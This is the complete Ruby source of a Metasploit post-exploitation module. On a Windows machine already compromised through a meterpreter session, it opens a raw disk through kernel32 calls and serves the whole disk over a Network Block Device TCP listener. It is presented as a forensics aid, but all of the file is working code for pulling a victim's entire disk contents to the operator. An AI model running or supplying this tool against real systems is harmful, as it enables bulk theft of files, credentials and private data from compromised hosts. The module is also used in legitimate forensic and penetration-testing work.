##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# nbd_server.rb
#
# Maps remote disks and logical volumes to a local Network Block Device
# server. Allows for forensic tools to be executed on the remote disk
# directly.
#
# R. Wesley McGrew wesley@mcgrewsecurity.com
#    http://mcgrewsecurity.com
# Mississippi State University National Forensics Training Center
#    http://msu-nftc.org

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Local NBD Server',
        'Description' => %q{
          Maps remote disks and logical volumes to a local Network Block Device server.
          Allows for forensic tools to be executed on the remote disk directly.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),
        OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),
        OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),
      ]
    )
  end

  def run
    ip_addr = datastore['NBDIP']
    port = datastore['NBDPORT']
    devname = datastore['DEVICE']

    invalid_handle_value = 0xFFFFFFFF
    invalid_set_file_pointer = 0xFFFFFFFF
    fsctl_allow_extended_dasd_io = 0x00090083
    ioctl_disk_get_drive_geometry_ex = 0x000700A0

    r = client.railgun.kernel32.CreateFileA(devname, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
    handle = r['return']

    r = client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)
    ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex, '', 0, 200, 200, 4, '')

    if ioctl['GetLastError'] == 6
      ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex, '', 0, 200, 200, 4, '')
    end

    geometry = ioctl['lpOutBuffer']
    disk_size = geometry[24, 31].unpack('Q')[0]

    socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })
    print_line("Listening on #{ip_addr}:#{port}")
    print_line("Serving #{devname} (#{disk_size} bytes)")
    rsock = socket.accept
    print_line('Accepted a connection')

    # Negotiation
    rsock.put('NBDMAGIC')
    rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")

    rsock.put([disk_size].pack('Q').reverse)
    rsock.put("\x00\x00\x00\x03")  # Read-only
    rsock.put("\x00" * 124)
    print_line('Sent negotiation')

    loop do
      request = rsock.read(28)

      unless request
        print_error('No data received')
        break
      end

      magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')

      if magic != 0x25609513
        print_line('Wrong magic number')
        break
      end

      case request
      when 2
        break
      when 1
        print_line('Attempted write on a read-only nbd')
        break
      when 0
        client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0], offset_n[0, 4].unpack('N')[0], 0)
        rsock.put("gDf\x98\x00\x00\x00\x00")
        rsock.put(nbd_handle)
        data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']
        rsock.put(data)
      end
    end

    print_line('Closing')
    rsock.close
    socket.close

    client.railgun.kernel32.CloseHandle(handle)
  end
end
